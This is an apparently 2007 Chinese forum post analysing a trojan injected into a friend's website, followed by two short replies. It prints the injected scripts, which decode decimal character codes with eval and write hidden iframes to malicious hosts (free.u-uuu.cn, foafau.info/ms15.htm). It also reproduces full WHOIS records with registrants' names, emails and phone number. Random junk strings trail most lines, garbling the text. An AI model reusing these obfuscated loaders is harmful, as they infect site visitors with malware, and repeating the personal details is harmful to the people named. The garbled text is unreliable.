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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, t=:5?}J.Q$  
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http://www.areway.cn/?p=175 7?_g m>]a  
k&K'FaM!  
{<Y!'WL{  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: r4 5}o  
          !p36OEx  
<script>t=’60,105,102,114,97,109,101, X H!n{Of  
32,115,114,99,61,104,116,116,112,58,47,47, lt5Knz2G,Z  
102,114,101,101,46,117,45,117,117,117,46,99, $mq+/|bn  
110,47,101,114,114,111,114,46,104,116,109, 3-;<G  
32,119,105,100,116,104,61,49,48,48,32,104, SFP?ND+7  
101,105,103,104,116,61,48,62,60,47,105,102, *fyaAv  
114,97,109,101,62′; $i3`cX)g  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>  bFA lC  
                                                                                                  y~t e!C  
<script>t=’60,105,102,114,97,109,101,32,115, "f3mi[  
114,99,61,104,116,116,112,58,47,47,102,114, (yT&&_zY4  
101,101,46,117,45,117,117,117,46,99,110,47, h{~GzrL*  
101,114,114,111,114,46,104,116,109,32,119, NN:zQ_RT  
105,100,116,104,61,49,48,48,32,104,101,105, 2=7[r-*E  
103,104,116,61,48,62,60,47,105,102,114,97, ei]Q<vT6  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); VJr~h "[  
document.write(t);</script> wB[ JFy"E  
                                                                                                  mH<|.7~0  
<html xmlns=” Yu[MNX ;G  
http://www.w3.org/1999/xhtml *ZRk)  
“> K`|V1L.m  
<head> \\oa[nvL~  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> _S &6XNV  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 7<8'7<X  
<title>首页 - 爱生活家庭网 ^MhMYA  
                                                                                                                                                    n0':6*oGW  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Gh3f^PWnc  
转换字符串后的大概内容是(谁点击后果自付): $b_~  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… CRzLyiRvU&  
                                                                                                                                  "6%qi qt  
查询玉米u-uuu.cn的详细信息: =zp{ ^mC  
Domain Name: u-uuu.cn `J{{E,y @  
ROID: 20070901s10001s64972306-cn h,fahbH -  
Domain Status: ok :Xx7':5  
Registrant Organization: 王雷 `B3YP1  
Registrant Name: 王雷 o/RGzPR  
Administrative Email: czlovexs@126.com ^#w9!I{4.  
Sponsoring Registrar: 北京万网志成科技有限公司 S!R (ae^}  
Name Server:ns.yovole.com `X =[ m>  
Name Server:ns1.yovole.com +).=}.k  
Registration Date: 2007-09-01 17:54 >k}Kf1I  
Expiration Date: 2008-09-01 17:54 }g2l ni  
最后PING了一下地址 都没有什么…. tM:$H6m/(  
                                                                                                S =sL:FC  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ZM=eiJZ  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> hJ8B&u(  
<script language=”javascript” src=” oO;< $wx2t  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script pBu}c<  
> ~dsx|G?p  
这个玉米应该有可能是木马作者的: [H`5mY@  
foafau.info的详细信息: -HFyNk]>  
Access to INFO WHOIS information is provided to assist persons in Us>n`Lj@  
determining the contents of a domain name registration record in the ]h=y  
Afilias registry database. The data in this record is provided by 5RSP.Vyx{  
Afilias Limited for informational purposes only, and Afilias does not `;Fs  
guarantee its accuracy.  This service is intended only for query-based ufA0H J)Yg  
access. You agree that you will use this data only for lawful purposes 7Z81+I|&8  
and that, under no circumstances will you use this data to: (a) allow, G1,u{d-_  
enable, or otherwise support the transmission by e-mail, telephone, or J,`I>^G  
facsimile of mass unsolicited, commercial advertising or solicitations 4J[csU  
to entities other than the data recipient’s own existing customers; or M?ElD1#Z  
(b) enable high volume, automated, electronic processes that send xaIe7.Z"xo  
queries or data to the systems of Registry Operator, a Registrar, or ciPq@kMV  
Afilias except as reasonably necessary to register domain names or Ao9|t;i  
modify existing registrations. All rights reserved. Afilias reserves .MxMBrM  
the right to modify these terms at any time. By submitting this query, /w*HxtwFmD  
you agree to abide by this policy. eX^ F^(   
Domain ID:D22418703-LRMS p,)pz_M  
Domain Name:FOAFAU.INFO  t|:XSJ9  
Created On:20-Nov-2007 16:05:42 UTC Fow{-cs_p  
Last Updated On:20-Nov-2007 16:05:44 UTC ef:Zi_o   
Expiration Date:20-Nov-2008 16:05:42 UTC !-B|x0fs  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 3-![% u  
Status:CLIENT DELETE PROHIBITED *+ O  
Status:CLIENT RENEW PROHIBITED QP6a,^];  
Status:CLIENT TRANSFER PROHIBITED #t">tL  
Status:CLIENT UPDATE PROHIBITED )Z`OkkabnD  
Status:TRANSFER PROHIBITED Aacj?   
Registrant ID:GODA-040110615 lI[O!Vu Kc  
Registrant Name:liu hong vrsOA@ee3H  
Registrant Organization: pD6a+B\;k  
Registrant Street1:beijing KZ/2W9r_,  
Registrant Street2: Y;sN UX  
Registrant Street3: ':T"nORC  
Registrant City:beijing ?=Mg"QU  
Registrant State/Province: s:sk`~2<gd  
Registrant Postal Code:100000 ).r04)/  
Registrant Country:CN g$Ns u:L  
Registrant Phone:+86.860108888777 myZ8LQ&  
Registrant Phone Ext.: z-kB!~r  
Registrant FAX: YtT:\#D  
Registrant FAX Ext.: rf2-owWN  
Registrant Email:bbbshiji@163.com `?(9Bl  
Admin ID:GODA-240110615 $0;Dk,  
Admin Name:liu hong 1FRpcE  
Admin Organization: e]l.m!,r  
Admin Street1:beijing {y>Kcfc/?E  
Admin Street2: Biy$p6  
Admin Street3: `lE8dwL  
Admin City:beijing 1uc;:N G=  
Admin State/Province: @ |7e~U  
Admin Postal Code:100000 u|&a!tOf2  
Admin Country:CN !2=eau^p  
Admin Phone:+86.860108888777 #tt*yOmiH  
Admin Phone Ext.: |w`Q$ c  
Admin FAX: mk?F+gh  
Admin FAX Ext.: E njSio0  
Admin Email:bbbshiji@163.com gG46hO-M%x  
Billing ID:GODA-340110615 y/Q,[Uzk\  
Billing Name:liu hong |uln<nM9  
Billing Organization: izP>w*/nO  
Billing Street1:beijing qH*Fv:qnM  
Billing Street2: KrD?Z2x  
Billing Street3: (wEaw|Zx  
Billing City:beijing G~\=:d=^,`  
Billing State/Province: PPj0LFA  
Billing Postal Code:100000 f.u+({"ql  
Billing Country:CN \&X*-T[]j  
Billing Phone:+86.860108888777 >z69r0)>  
Billing Phone Ext.: cpBTi  
Billing FAX: O8w|!$Q.  
Billing FAX Ext.: Z|$OPMLX  
Billing Email:bbbshiji@163.com }JBLzk5|  
Tech ID:GODA-140110615 {o.i\"x;  
Tech Name:liu hong ^y&sKO  
Tech Organization: 1bJrEXHXy  
Tech Street1:beijing | D,->k  
Tech Street2: i}e OWi  
Tech Street3: 1mz72K  
Tech City:beijing By}>h6`[  
Tech State/Province: 2z0 27P-Q  
Tech Postal Code:100000 x]jJ  
Tech Country:CN X/`M'8v.%  
Tech Phone:+86.860108888777 *`wgqin  
Tech Phone Ext.: A;C)#Q/  
Tech FAX: G8!* &vR/  
Tech FAX Ext.: 7 a_99? J  
Tech Email:bbbshiji@163.com \TXCq@  
Name Server:NS27.DOMAINCONTROL.COM %u02KmV.  
Name Server:NS28.DOMAINCONTROL.COM 5Qgh\4  
Name Server: ~i/K7qZ  
Name Server: .Zv uhOn^  
Name Server: Q96^rjY  
Name Server: qEV>$>}  
Name Server: VTvNn  
Name Server: G^/8lIj  
Name Server: Mi&jl_&  
Name Server: TbA=bkj[4  
Name Server: &>%9JXU  
Name Server: R3%&\<a)9  
Name Server: _V-pr#lP1  
                                                                                                          DS1_hbk  
接着下载每个文件里面的代码: nf9NJ_8}4H  
一步一步看.. 16R0#Q/{+*  
V'&`JZK6  
ww$Ec  
ua>YI  
_G=k^f_  
H^C$2f  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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